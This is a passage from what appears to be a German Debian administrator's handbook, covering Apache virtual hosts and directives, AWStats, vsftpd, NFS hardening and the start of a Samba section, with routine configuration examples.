Eine weitere Möglichkeit besteht darin, ein speziell hierfür vorgesehenes MPM zu benutzen, wie das von apache2-mpm-itk bereitgestellte. Dieses Modul weist ein etwas abweichendes Verhalten auf: es ermöglicht das „Isolieren“ virtueller Hosts, so dass jeder von ihnen als ein anderer Benutzer läuft. Eine Schwachstelle in einer Website kann somit keine Dateien gefährden, die dem Benutzer einer anderen Website gehören.

KURZER BLICK Liste der Module

Eine vollständige Liste der Apache-Standardmodule ist online zu finden.

→ http://httpd.apache.org/docs/2.2/mod/index.html

Apache ist ein modularer Server, und viele Leistungsmerkmale werden durch externe Module umgesetzt, die das Hauptprogramm während der Initialisierung lädt. Die Standardkonfiguration aktiviert nur die gebräuchlichsten Module, aber das Aktivieren neuer Module geschieht einfach mit dem Befehl a2enmod modul; der Befehl zum Abschalten eines Moduls lautet a2dismod modul. Diese Programme erstellen (oder löschen) in Wirklichkeit nur symbolische Verknüpfungen in der Datei /etc/apache2/mods-enabled/, die auf die tatsächlichen Dateien zeigen (die in /etc/apache2/mods-available/ gespeichert sind).

In seiner Standardkonfiguration nimmt der Webserver an Port 80 Verbindungen an (wie in /etc/apache2/ports.conf konfiguriert), und liefert Seiten aus dem Verzeichnis /var/www/ (wie in /etc/apache2/sites-enabled/000-default konfiguriert).

WEITERE SCHRITTE SSL-Unterstützung hinzufügen

Apache 2.2 bringt von vornherein das für sicheres HTTP (HTTPS) erforderliche Modul mit. Man muss es nur durch den Befehl a2enmod ssl aktivieren und danach die erforderlichen Anweisungen zur Konfigurationsdatei hinzufügen. Ein Konfigurationsbeispiel wird in /usr/share/doc/apache2.2-common/examples/apache2/extra/httpd-ssl.conf.gz bereitgestellt.

→ http://httpd.apache.org/docs/2.2/mod/mod_ssl.html

11.2.2. Virtuelle Hosts konfigurieren

Ein virtueller Host ist eine zusätzliche Identität des Web-Servers.

Apache berücksichtigt zwei verschiedene Arten virtueller Hosts: diejenigen, die auf der IP-Adresse (oder dem Port) basieren, und diejenigen, die sich auf den Domainnamen des Web-Servers stützen. Bei der ersten Methode muss jeder Seite eine andere IP-Adresse (oder ein anderer Port) zugeordnet werden, während die zweite mit einer einzigen IP-Adresse (und einem einzigen Port) auskommt und die Seiten durch den Hostnamen, der vom HTTP-Client gesendet wird, unterschieden werden (was nur in Version 1.1 des HTTP-Protokolls funktioniert - glücklicherweise ist diese Version schon so alt, dass alle Clients sie verwenden).

Die (zunehmende) Knappheit von IPv4-Adressen begünstigt gewöhnlich die zweite Methode; jedoch ist sie komplizierter, wenn der virtuelle Host auch HTTPS bereitstellen muss, da das SSL-Protokoll nicht von jeher virtuelles Hosting auf Namensbasis ermöglicht hat. Nicht alle Browser können mit der SNI-Erweiterung (Server Name Indication), die diese Kombination ermöglicht, umgehen. Wenn mehrere HTTPS-Seiten auf demselben Server laufen müssen, werden sie gewöhnlich dadurch unterschieden, dass sie auf verschiedenen Ports laufen oder unter verschiedenen IP-Adressen (IPv6 ist hier hilfreich).

Die Standardkonfiguration für Apache 2 aktiviert virtuelle Hosts auf Namensbasis (mit der Anweisung NameVirtualHost *:80 in der Datei /etc/apache2/ports.conf). Zusätzlich wird ein voreingestellter virtueller Host in der Datei /etc/apache2/sites-enabled/000-default ausgewiesen; dieser virtuelle Host wird verwendet, wenn es keinen anderen Host gibt, der zur Anfrage des Clients passt.

VORSICHT Erster virtueller Host

Anfragen an unbekannte virtuelle Hosts werden stets vom ersten ausgewiesenen virtuellen Host bedient, weshalb wir hier als erstes www.falcot.com bestimmt haben.

KURZER BLICK Apache unterstützt SNI

Ab Debian Squeeze unterstützt der Apache-Server eine SSL-Protokollerweiterung namens Server Name Indication (SNI). Diese Erweiterung ermöglicht es dem Browser, den Hostnamen während des Aufbaus der SSL-Verbindung zu senden, viel früher als die HTTP-Anfrage selbst, die vorher dazu benutzt wurde, den gewünschten virtuellen Host unter denen zu identifizieren, die auf demselben Server (mit derselben IP-Adresse und demselben Port) untergebracht sind.

Vor SNI hätte Apache stets das Zertifikat des voreingestellten virtuellen Hosts verwendet. Clients, die auf einen anderen virtuellen Host zugreifen wollten, würden dann Warnmeldungen anzeigen, da das erhaltene Zertifikat nicht zu der Website passte, auf die sie zugreifen wollten. Glücklicherweise arbeiten die meisten Browser inzwischen mit SNI; hierzu gehören Microsoft Internet Explorer ab Version 7.0 (ab Vista), Mozilla Firefox ab Version 2.0, Apple Safari ab Version 3.2.1 und alle Versionen von Google Chrome.

Das von Debian bereitgestellte Apache-Paket ist mit Unterstützung für SNI ausgestattet; daher ist keine besondere Konfigurierung erforderlich, abgesehen von der Aktivierung virtuellen Hostings auf Namensbasis an Port 443 (SSL) zusätzlich zu dem üblichen Port 80. Dies geschieht einfach durch das Editieren von /etc/apache2/ports.conf, so dass es dann Folgendes enthält:

<IfModule mod_ssl.c> NameVirtualHost *:443 Listen 443 </IfModule>

Man sollte auch darauf achten, dass die Konfiguration des ersten virtuellen Hosts (des standardmäßig verwendeten) TLSv1 aktiviert, da Apache die Parameter dieses ersten virtuellen Hosts verwendet, um sichere Verbindungen aufzubauen, und dies muss ihm auf jeden Fall erlaubt sein!

Jeder zusätzliche virtuelle Host wird dann in einer unter /etc/apache2/sites-available/ gespeicherten Datei festgelegt. Die Einrichtung einer Website für die Domain falcot.org erfordert daher nur die Erstellung der folgenden Datei und anschließend die Aktivierung des virtuellen Hosts mit dem Befehl a2ensite www.falcot.org.

Example 11.16. Die Datei /etc/apache2/sites-available/www.falcot.org

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

Der Apache-Server, so wie er bis jetzt konfiguriert ist, benutzt für alle virtuellen Hosts dieselben Protokolldateien (obwohl dies durch das Hinzufügen von CustomLog-Anweisungen in den Bestimmungen der virtuellen Hosts geändert werden könnte). Es ist daher sehr sinnvoll, das Format dieser Protokolldatei so anzupassen, dass es den Namen des virtuellen Hosts mit einschließt. Dies kann durch die Erstellung einer Datei namens /etc/apache2/conf.d/customlog erreicht werden, die für alle Protokolldateien (mit der LogFormat-Anweisung) ein neues Format festlegt. Außerdem muss die CustomLog-Zeile aus der Datei CustomLog entfernt (oder kommentiert) werden.

Example 11.17. Die Datei /etc/apache2/conf.d/customlog

# Neues Log-Format einschließlich des (virtuellen) Hostnamens LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Jetzt soll dieses „vhost“-Format standardmäßig benutzt werden CustomLog /var/log/apache2/access.log vhost

11.2.3. Gebräuchliche Anweisungen

Dieser Abschnitt gibt einen kurzen Überblick über einige häufig benutzte Apache-Konfigurationsanweisungen.

Die Hauptkonfigurationsdatei enthält gewöhnlich mehrere Directory-Blöcke; sie ermöglichen es, unterschiedliches Verhalten des Servers in Abhängigkeit von der zu liefernden Datei festzulegen. Solch ein Block enthält häufig Anweisungen des Typs Options und AllowOverride.

Example 11.18. Verzeichnisblock

<Directory /var/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

Die Anweisung DirectoryIndex enthält eine Liste von Dateien, die ausgewählt werden sollen, wenn die Client-Anfrage auf ein Verzeichnis zutrifft. Die in der Liste als erste aufgeführte Datei wird herangezogen und als Antwort gesendet.

Auf die Anweisung Options folgt eine Liste von zu aktivierenden Optionen. Der Wert None deaktiviert alle Optionen; dementsprechend aktiviert All alle außer MultiViews. Unter anderem stehen folgende Optionen zur Verfügung:

ExecCGI bedeutet, dass CGI-Skripte ausgeführt werden können.

FollowSymlinks teilt dem Server mit, dass er symbolischen Verweisen folgen kann, und dass die Antwort den Inhalt des Ziels solcher Verweise enthalten soll.

SymlinksIfOwnerMatch weist den Server ebenfalls an, symbolischen Verweisen zu folgen, aber nur, wenn der Verweis und sein Ziel demselben Benutzer gehören.

Includes aktiviert Server Side Includes (abgekürzt SSI). Dies sind in HTML-Seiten eingebettete Anweisungen, die bei jeder Anforderung im laufenden Betrieb ausgeführt werden.

Indexes weist den Server an, den Inhalt eines Verzeichnisses aufzulisten, falls die von einem Client gesendete HTTP-Anforderung auf ein Verzeichnis ohne Indexdatei weist (das heißt, wenn es in diesem Verzeichnis keine der von der Anweisung DirectoryIndex genannten Dateien gibt).

MultiViews aktiviert die Inhaltsabstimmung; diese kann vom Server dazu verwendet werden, eine Webseite in der im Browser eingestellten bevorzugten Sprache anzuzeigen.

ZURÜCK ZU DEN GRUNDLAGEN Die Datei .htaccess

Die Datei .htaccess enthält Apache-Konfigurationsanweisungen, die jedes Mal ausgeführt werden, wenn eine Anforderung ein Element des Verzeichnisses betrifft, in dem diese Datei gespeichert ist. Der Geltungsbereich dieser Anweisungen erstreckt sich auch auf alle darunter befindlichen Unterverzeichnisse.

Die meisten Anweisungen, die in einem Directory-Block auftreten können, gelten auch in einer .htaccess-Datei.

Die Anweisung AllowOverride führt alle Optionen auf, die mithilfe einer .htaccess-Datei aktiviert oder deaktiviert werden können. Eine verbreitete Anwendung dieser Option besteht darin, ExecCGI einzuschränken, so dass der Administrator entscheidet, welchen Benutzern es erlaubt ist, Programme unter der Identität des Web-Servers (des Benutzers www-data) auszuführen.

11.2.3.1. Authentifizierung verlangen

Unter manchen Umständen muss der Zugang zu Teilen einer Website beschränkt werden, so dass nur berechtigte Benutzer, die einen Benutzernamen und ein Passwort angeben, Zugang zum Inhalt erhalten.

Example 11.19. Authentifizierung für die Datei .htaccess verlangen

Require valid-user AuthName "Private directory" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

SICHERHEIT Keine Sicherheit

Das in oben stehendem Beispiel verwendete Authentifizierungssystem (Basic) bietet nur geringfügige Sicherheit, da das Passwort als Klartext gesendet wird (es ist nur als base64 kodiert, die eine einfache Kodierungs- aber keine Verschlüsselungsmethode ist). Es sollte auch beachtet werden, dass die mit diesem Verfahren „geschützten“ Dokumente ebenfalls als Klartext über das Netzwerk laufen. Falls Sicherheit wichtig ist, sollte die gesamte HTTP-Verbindung mit SSL verschlüsselt sein.

Die Datei /etc/apache2/authfiles/htpasswd-private enthält eine Liste von Benutzern und Passwörtern; sie wird normalerweise mit dem Befehl htpasswd gehandhabt. Der folgende Befehl wird zum Beispiel dazu benutzt, einen Benutzer hinzuzufügen oder sein Passwort zu ändern:

# htpasswd /etc/apache2/authfiles/htpasswd-private user New password: Re-type new password: Adding password for user user

11.2.3.2. Zugang beschränken

Die Anweisungen Allow from und Deny from steuern die Zugangsbeschränkungen für ein Verzeichnis (und rekursiv auch für seine Unterverzeichnisse).

Die Anweisung Order informiert den Server über die Reihenfolge, in der die Anweisungen Allow from und Deny from angewendet werden; die zuletzt zutreffende erhält Vorrang. Konkret erlaubt Order deny,allow Zugang, falls kein Deny from gilt, oder falls eine Allow from Anweisung zutrifft. Umgekehrt verweigert Order allow,deny den Zugang, falls keine Allow from Anweisung zutrifft (oder falls eine Deny from Anweisung gilt).

Auf die Anweisungen Allow from und Deny from kann eine IP-Adresse folgen, ein Netzwerk (wie zum Beispiel 192.168.0.0/255.255.255.0, 192.168.0.0/24 oder sogar 192.168.0), ein Host- oder Domain-Name oder das Schlüsselwort all, das jeden bezeichnet.

Example 11.20. Als Voreinstellung zurückweisen, aber vom lokalen Netzwerk aus erlauben

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.4. Protokoll-Analysatoren

Häufig wird ein Protokoll-Analysator auf einem Web-Server installiert, da er den Administratoren ein genaues Bild der Einsatzmuster des Servers vermittelt.

Die Falcot Corp. Administratoren haben AWStats (Advanced Web Statistics) für die Analyse ihrer Apache-Protokolldateien ausgewählt.

Der erste Konfigurierungsschritt besteht darin, die Datei /etc/awstats/awstats.conf zu erstellen. Die Vorlage /usr/share/doc/awstats/examples/awstats.model.conf.gz wird hierfür als Ausgangspunkt empfohlen, und die Falcot Administratoren lassen sie bis auf die folgenden Parameter unverändert:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 DirData="/var/lib/awstats" DirIcons="/awstats-icon" DirLang="/usr/share/awstats/lang" LoadPlugin="tooltips"

All diese Parameter sind durch Kommentare in der Vorlagendatei dokumentiert. Insbesondere bezeichnen die Parameter LogFile und LogFormat den Ort und das Format der Protokolldatei sowie die Information, die sie enthält; SiteDomain und HostAliases führen die verschiedenen Bezeichnungen auf, unter denen die Haupt-Website bekannt ist.

Für Internet-Präsenzen mit starkem Datenverkehr sollte DNSLookup normalerweise nicht auf 1 gesetzt werden; für kleinere, wie die oben beschriebene Falcot-Site, ermöglicht diese Einstellung jedoch besser lesbare Berichte, die vollständige Rechnernamen enthalten statt unverarbeiteter IP-Adressen.

SICHERHEIT Zugang zu Statistiken

AWStats stellt seine Statistiken auf der Website standardmäßig ohne Beschränkungen zur Verfügung, jedoch können Beschränkungen eingerichtet werden, so dass nur einige (wohl interne) IP-Adressen auf sie zugreifen können; die Liste der zugelassenen IP-Adressen muss in dem Parameter AllowAccessFromWebToFollowingIPAddresses festgelegt werden.

AWStats wird auch für andere virtuelle Hosts aktiviert; jeder virtuelle Host benötigt seine eigene Konfigurationsdatei, wie zum Beispiel /etc/awstats/awstats.www.falcot.org.conf.

Example 11.21. AWStats-Konfigurationsdatei für einen virtuellen Host

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

Dies funktioniert nur, wenn die Datei /etc/awstats/awstats.conf keine Include-Anweisung enthält, da AWStats Einbindungen auf mehreren Ebenen nicht verarbeiten kann; leider enthält die von Debian bereitgestellte Standarddatei solch eine Anweisung.

Damit dieser neue virtuelle Host berücksichtigt wird, muss die Datei /etc/cron.d/awstats angepasst werden, indem ein Aufruf wie der folgende hinzugefügt wird: /usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update

Example 11.22. Die Datei /etc/cron.d/awstats

0,10,20,30,40,50 * * * * www-data [ -x /usr/lib/cgi-bin/awstats.pl -a -f /etc/awstats/awstats.conf -a -r /var/log/apache2/access.log ] && /usr/lib/cgi-bin/awstats.pl -config=awstats -update >/dev/null && /usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update >/dev/null

AWStats verwendet zahlreiche im Verzeichnis /usr/share/awstats/icon/ gespeicherte Piktogramme. Damit diese Symbole auf der Website zur Verfügung stehen, muss die Apache-Konfiguration durch das Hinzufügen folgender Anweisung angepasst werden:

Alias /awstats-icon/ /usr/share/awstats/icon/

Einige Minuten später (und nachdem das Skript einige Male gelaufen ist) stehen die Ergebnisse online zur Verfügung:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

VORSICHT Rotation von Protokolldateien

Damit die Statistiken alle Protokolle berücksichtigen, muss AWStats unmittelbar vor dem Rotieren der Apache-Protokolldateien ausgeführt werden. Dies kann durch das Hinzufügen einer prerotate-Anweisung zur Datei /etc/logrotate.d/apache2 erreicht werden:

/var/log/apache2/*.log { weekly missingok rotate 52 compress delaycompress notifempty create 644 root adm sharedscripts prerotate su - www-data -c "/usr/lib/cgi-bin/awstats.pl -config=awstats -update > /dev/null" su - www-data -c "/usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update > /dev/null" endscript postrotate if [ -f /var/run/apache2.pid ]; then /etc/init.d/apache2 restart > /dev/null fi endscript }

Beachten Sie auch, dass die von logrotate erzeugten Protokolldateien für jeden lesbar sein müssen, insbesondere für AWStats. In oben stehendem Beispiel wird dies durch die Zeile create 644 root adm gewährleistet.

11.3. FTP-Dateiserver

FTP (File Transfer Protocol) ist eines der ersten Internet-Protokolle (RFC 959 ist 1985 veröffentlicht worden!). Es wurde zur Verteilung von Dateien benutzt, sogar schon bevor das Web geboren war (das HTTP-Protokoll wurde 1990 entwickelt und formal in seiner 1.0 Version durch RFC 1945 festgelegt, die 1996 veröffentlicht worden ist).

Dieses Protokoll ermöglicht sowohl das Hoch- als auch das Herunterladen von Dateien; daher wird es noch häufig verwendet, um Aktualisierungen auf einer bei einem Internetdienstanbieter untergebrachten Website einzustellen (oder bei irgendeiner anderen Stelle, die Websites aufnimmt). In diesen Fällen wird ein sicherer Zugriff durch eine Benutzerkennung und ein Passwort erreicht; nach der erfolgreichen Authentifizierung gewährt der FTP-Server Lese- und Schreibzugriff auf das Benutzerverzeichnis des jeweiligen Benutzers.

Andere FTP-Server dienen in erster Linie dazu, Dateien zum öffentlichen Download zu verbreiten; Debian-Pakete sind hierfür ein gutes Beispiel. Der Inhalt dieser Server wird von anderen, geografisch entfernten Servern bezogen; er wird dann weniger entfernten Benutzern zur Verfügung gestellt. Dies bedeutet, dass Client-Authentifizierung nicht erforderlich ist; daher wird diese Betriebsart als „anonymes FTP“ bezeichnet. Um ganz genau zu sein, authentifizieren sich die Clients mit dem Benutzernamen anonymous; das Passwort ist dabei üblicherweise die E-Mail-Adresse des Benutzers, aber der Server ignoriert sie.

In Debian stehen zahlreiche FTP-Server zur Verfügung (ftpd, proftpd, wu-ftpd und so weiter). Die Falcot Corp. Administratoren haben vsftpd gewählt, weil sie den FTP-Server nur dazu benutzen, einige Dateien zu verbreiten (einschließlich eines Debian-Paketdepots); da sie keine weitergehenden Leistungsmerkmale benötigen, haben sie sich dafür entschieden, die Sicherheitsaspekte in den Mittelpunkt zu stellen.

Durch das Installieren des Pakets wird ein Systembenutzer namens ftp erstellt. Dieses Konto wird stets für anonyme FTP-Verbindungen verwendet, und sein Benutzerverzeichnis (/home/ftp/) ist der Stamm des Verzeichnisbaums, der den Benutzern, die sich mit diesem Dienst verbinden, zur Verfügung gestellt wird. Die Standardkonfiguration (in /etc/vsftpd.conf) ist sehr restriktiv: sie erlaubt lediglich schreibgeschützten anonymen Zugriff (da die Optionen write_enable und anon_upload_enable deaktiviert sind), und lokale Benutzer können mit ihrem normalen Benutzernamen und Passwort keine Verbindung herstellen und auf ihre eigenen Dateien zugreifen (Option local_enable). Diese Standardkonfiguration ist jedoch für die Anforderungen von Falcot Corp. gut geeignet.

11.4. NFS-Dateiserver

NFS (Network File System) ist ein Protokoll, das den Fernzugriff auf ein Dateisystem über ein Netzwerk ermöglicht. Alle Unix-Systeme sind in der Lage, mit diesem Protokoll umzugehen; wenn Windows-Systeme beteiligt sind, muss stattdessen Samba eingesetzt werden.

NFS ist ein sehr nützliches Instrument, aber man darf seine Unzulänglichkeiten nicht außer Acht lassen, insbesondere wo es um Sicherheitsangelegenheiten geht: alle Daten laufen im Klartext über das Netzwerk (ein Sniffer kann sie abfangen); der Server verhängt Zugangsbeschränkungen aufgrund der IP-Adresse eines Benutzers (die vorgetäuscht sein kann); und schließlich kann, wenn einem Client-Rechner Zugriff auf eine falsch konfigurierte NFS-Freigabe gewährt wird, der Root-Benutzer des Clients auf alle Dateien dieser Freigabe zugreifen (selbst auf die, die anderen Benutzern gehören), da der Server dem Benutzernamen vertraut, den er vom Client erhält (dies ist ein historisches Handicap des Protokolls).

DOKUMENTATION NFS-HOWTO

Das NFS-HOWTO ist voller interessanter Informationen einschließlich einiger Methoden zur Leistungsoptimierung. Es beschreibt auch einen Weg, um NFS-Übertragungen mit einem SSH-Tunnel abzusichern; dieses Verfahren schließt jedoch die Verwendung von lockd aus.

→ http://nfs.sourceforge.net/nfs-howto/

11.4.1. NFS absichern

Da NFS der Information vertraut, die es vom Netzwerk erhält, muss unbedingt sichergestellt sein, dass sich nur die Rechner, die es benutzen dürfen, mit den verschiedenen erforderlichen RPC-Servern verbinden können. Die Firewall muss außerdem IP spoofing blockieren, um so einen externen Rechner daran zu hindern, sich als interner auszugeben, und der Zugang zu den passenden Ports muss auf die Rechner beschränkt bleiben, die Zugriff auf die NFS-Freigaben haben sollen.

ZURÜCK ZU DEN GRUNDLAGEN RPC

RPC (Remote Procedure Call) ist ein Unix-Standard für entfernte Dienste. NFS ist ein solcher Dienst.

RPC-Dienste tragen sich in einem als portmapper bekannten Verzeichnis ein. Ein Client, der eine NFS-Anfrage durchführen möchte, wendet sich zunächst an den portmapper (auf Port 111, entweder TCP oder UDP) und fragt nach dem NFS-Server; die Antwort nennt normalerweise Port 2049 (den Standardport für NFS). Nicht alle RPC-Dienste verwenden notwendigerweise einen festen Port.

Weitere RPC-Dienste können erforderlich sein, damit NFS optimal funktioniert, einschließlich rpc.mountd, rpc.statd und lockd. Jedoch verwenden diese Dienste standardmäßig zufällige Ports (vom portmapper zugewiesen), wodurch es schwierig ist, Datenverkehr, der diese Dienste zum Ziel hat, zu filtern. Die Falcot Corp. Administratoren haben die unten beschriebene Problemumgehung gefunden.

Die beiden ersten der oben genannten Dienste werden durch Programme auf Anwendungsebene umgesetzt, gestartet durch /etc/init.d/nfs-kernel-server beziehungsweise /etc/init.d/nfs-common. Sie stellen Konfigurationsoptionen zur festen Einstellung bestimmter Ports bereit; die Dateien, die zur Festlegung dieser Optionen geändert werden müssen, sind /etc/default/nfs-kernel-server und /etc/default/nfs-common.

Example 11.23. Die Datei /etc/default/nfs-kernel-server

# Number of servers to start up RPCNFSDCOUNT=8 # Options for rpc.mountd RPCMOUNTDOPTS="-p 2048"

Example 11.24. Die Datei /etc/default/nfs-common

# Options for rpc.statd. # Should rpc.statd listen on a specific port? # If so, set this variable to a statd argument like: "--port 1000". STATDOPTS="-p 2046 -o 2047" # Are you _sure_ that your kernel does or does not need a lockd daemon? # If so, set this variable to either "yes" or "no". NEED_LOCKD=

Sobald diese Veränderungen vorgenommen und die Dienste neu gestartet sind, verwendet rpc.mountd Port 2048; rpc.statd wartet an Port 2046 auf Anfragen und benutzt Port 2047 für ausgehende Verbindungen.

Der Dienst lockd wird durch einen Kernel-Thread (einen leichtgewichtigen Prozess) gehandhabt; dieses Leistungsmerkmal ist als Modul in Debian-Kernel eingebaut. Das Modul bietet zwei Optionen, um die dauerhafte Einstellung desselben Ports zu ermöglichen, nlm_udpport und nlm_tcpport. Damit diese Optionen konsequent benutzt werden, muss eine Datei namens /etc/modprobe.d/lockd wie die folgende vorhanden sein:

Example 11.25. Die Datei /etc/modprobe.d/lockd

options lockd nlm_udpport=2045 nlm_tcpport=2045

Sobald diese Parameter eingestellt sind, wird es einfacher, von der Firewall aus den Zugang zum NFS-Dienst in fein eingestellter Weise durch das Filtern des Zugangs zu den Ports 111 und 2045 bis 2049 (sowohl UDP als auch TCP) zu kontrollieren.

11.4.2. NFS-Server

Der NFS-Server ist Teil des Linux-Kernels; in den von Debian bereitgestellten Kerneln ist er als Kernel-Modul eingebaut. Falls der NFS-Server beim Hochfahren automatisch anlaufen soll, sollte das Paket nfs-kernel-server installiert werden; es enthält die entsprechenden Start-Skripten.

ALTERNATIVE Der Server nfs-user-server

nfs-user-server ist ein NFS-Server, der als traditioneller Server mit einem Anwendungsprogramm und nicht als Kernel-Modul läuft. Diese Version von NFS ist weitgehend überholt, da der kernelbasierte NFS-Server inzwischen ausgereift und zuverlässig ist.

Die Konfigurationsdatei des NFS-Servers, /etc/exports, listet die Verzeichnisse auf, die über das Netzwerk zur Verfügung gestellt werden (exported). Zu jeder NFS-Freigabe wird nur den Rechnern Zugang gewährt, die auf dieser Liste stehen. Eine feiner eingestellte Zugangskontrolle kann durch einige Optionen erzielt werden. Die Syntax dieser Datei ist recht einfach:

/freizugebendes/verzeichnis rechner1(option1,option2,...) rechner2(...) ...

Jeder Rechner kann entweder durch seinen DNS-Namen oder seine IP-Adresse bestimmt werden. Ganze Rechnergruppen können auch festgelegt werden, indem entweder eine Syntax wie *.falcot.com oder ein IP-Adressbereich wie 192.168.0.0/255.255.255.0 oder 192.168.0.0/24 verwendet wird.

Verzeichnisse werden in der Standardeinstellung (oder durch die Option ro) schreibgeschützt bereitgestellt. Die Option rw ermöglicht Schreibzugriff. NFS-Clients nehmen typischerweise über einen Port Verbindung auf, der Administratorrechte erfordert (mit anderen Worten, unterhalb von 1024); diese Einschränkung kann mit der Option insecure aufgehoben werden (die Option secure ist stillschweigend eingestellt, kann aber auch ausdrücklich angegeben werden, wenn dies der Deutlichkeit halber erforderlich ist).

Standardmäßig beantwortet der Server eine NFS-Anfrage nur dann, wenn der gegenwärtige Plattenzugriff beendet ist (Option sync); dies kann durch die Option async abgestellt werden. Asynchrones Schreiben erhöht die Leistung ein wenig, es verringert jedoch die Zuverlässigkeit, da die Gefahr eines Datenverlusts besteht, falls der Server zwischen der Annahmebestätigung des Schreibauftrags und dem tatsächlichen Schreibvorgang auf der Festplatte abstürzt. Da der voreingestellte Wert (im Vergleich zur früheren Einstellung von NFS) kürzlich geändert wurde, empfiehlt es sich, ihn ausdrücklich einzustellen.

Um einem NFS-Client keinen Root-Zugriff auf das Dateisystem zu geben, werden alle Anfragen, die von einem Root-Benutzer zu kommen scheinen, vom Server so angesehen, als kämen sie vom Benutzer anonymous. Dieses Verhalten entspricht der Option root_squash und ist standardmäßig aktiviert. Die Option no_root_squash, die dieses Verhalten abstellt, ist gefährlich und sollte nur in überwachten Umgebungen eingesetzt werden. Die Optionen anonuid=uid und anongid=gid ermöglichen es, anstelle von anonymous einen anderen gefälschten Benutzer anzugeben.

Weitere Optionen stehen zur Verfügung; sie sind auf der Handbuchseite exports(5) dokumentiert.

VORSICHT Erste Installation

Das Start-Skript /etc/init.d/nfs-kernel-server startet den Server nur dann, wenn /etc/exports eine oder mehrere gültig NFS-Freigaben auflistet. Daher muss der NFS-Server, sobald diese Datei bei der Erstkonfigurierung dahingehend geändert wurde, dass sie gültige Einträge enthält, mit folgendem Befehl gestartet werden:

# /etc/init.d/nfs-kernel-server start

11.4.3. NFS-Client

Wie bei anderen Dateisystemen, so erfordert auch das Einbinden einer NFS-Freigabe in die Systemhierarchie, dass sie eingehängt wird. Da dieses Dateisystem seine Besonderheiten hat, waren einige Anpassungen in den Syntaxen des Befehls mount und der Datei /etc/fstab erforderlich.

Example 11.26. Manuelles Einhängen mit dem Befehl mount

# mount -t nfs -o rw,nosuid arrakis.interne.falcot.com:/srv/shared /shared

Example 11.27. NFS-Eintrag in der Datei /etc/fstab

arrakis.interne.falcot.com:/srv/shared /shared nfs rw,nosuid 0 0

Der oben dargestellte Eintrag hängt beim Hochfahren des Systems das NFS-Verzeichnis /srv/shared/ des Servers arrakis in das lokale Verzeichnis /shared/ ein. Schreibzugriff ist erwünscht (daher der Parameter rw). Die Option nosuid ist eine Schutzmaßnahme, die jegliches setuid- oder setgit-Bit von Programmen, die auf der Freigabe gespeichert sind, entfernt. Falls die NFS-Freigabe nur zum Speichern von Dokumenten dienen soll, ist noexec eine weitere empfehlenswerte Option, die das Ausführen von auf der Freigabe gespeicherten Programmen verhindert.

Die Handbuchseite nfs(5) beschreibt ausführlich alle Optionen.

11.5. Einrichten von Windows-Freigaben mit Samba

Samba ist ein Satz von Programmen, die das SMB-Protokoll (jetzt „CIFS“ genannt) auf Linux handhaben. Dieses Protokoll wird von Windows für Netzwerk-Freigaben und Netzwerkdrucker benutzt.

Samba kann auch als NT-Domain-Controller agieren. Es ist ein hervorragendes Instrument, um die nahtlose Integration von Linux-Servern und Arbeitsplatzrechnern, die noch unter Windows laufen, zu gewährleisten.

11.5.1. Samba-Server

Das Paket samba enthält die beiden Hauptserver von Samba 3, smbd und nmbd.

HILFSPROGRAMM Samba mit SWAT verwalten

SWAT (Samba Web Administration Tool) ist eine Webschnittstelle, die es ermöglicht, den Samba-Dienst zu konfigurieren. Da das Paket swat seine Konfiguration nicht standardmäßig aktiviert, muss sie manuell mit dem Befehl update-inetd --enable swat aktiviert werden.

SWAT kann dann über die URL http://localhost:901 erreicht werden. Für den Zugriff wird das Administratorkonto (und sein übliches Passwort) benutzt. Beachten Sie, dass SWAT die Datei smb.conf in seiner eigenen Ausdrucksweise umformuliert. Daher ist es sinnvoll, vorher eine Sicherungskopie anzulegen, falls Sie dieses Programm nur ausprobieren möchten.

SWAT ist sehr benutzerfreundlich; seine Schnittstelle schließt einen Assistenten ein, der es ermöglicht, die Rolle des Servers durch drei Fragen festzulegen. Alle allgemein gültigen Optionen können dann noch konfiguriert werden, wie auch diejenigen für alle vorhandenen Freigaben, und natürlich können neue Freigaben hinzugefügt werden. Jede Option verfügt über einen Link zu ihrer dazugehörigen Dokumentation.

DOKUMENTATION Weitere Schritte

Der Samba-Server ist äußerst gut konfigurierbar und vielseitig, kann sehr viele verschiedene Anwendungsfälle bewältigen und sich an sehr unterschiedliche Anforderungen und Netzwerk-Architekturen anpassen. Dieses Buch bezieht sich nur auf die Verwendung von Samba als Haupt-Domain-Controller, aber es kann auch als einfacher Server in der Domain eingesetzt werden und die Authentifizierung an den Hauptcontroller delegieren (der auch ein Windows-Server sein könnte).

Die im Paket samba-doc enthaltene Dokumentation ist sehr gut geschrieben. So behandelt das Dokument Samba 3 By Example (verfügbar als /usr/share/doc/samba-doc/htmldocs/Samba3-ByExample/index.html) einen konkreten Anwendungsfall, der sich Seite an Seite mit einem wachsenden Unternehmen weiterentwickelt.

HILFSPROGRAMM Mit einem Windows-Server authentifizieren

Winbind gibt Systemadministratoren die Möglichkeit, einen Windows-NT-Server als Authentifizierungsserver zu verwenden. Winbind integriert sich auch sauber mit PAM und NSS. Dies ermöglicht es, Linux-Rechner so einzurichten, dass alle Benutzer einer NT-Domain automatisch ein Konto erhalten.

Weitere Informationen sind in der Datei /usr/share/doc/samba-doc/htmldocs/Samba3-HOWTO/winbind.html zu finden.

11.5.1.1. Mit debconf konfigurieren

Das Paket richtet aufgrund der Antworten auf einige Debconf-Fragen, die während der ersten Installierung gestellt werden, eine minimale Konfiguration ein; diese Konfigurierungsschritte können später mit dpkg-reconfigure samba-common samba erneut abgespielt werden.

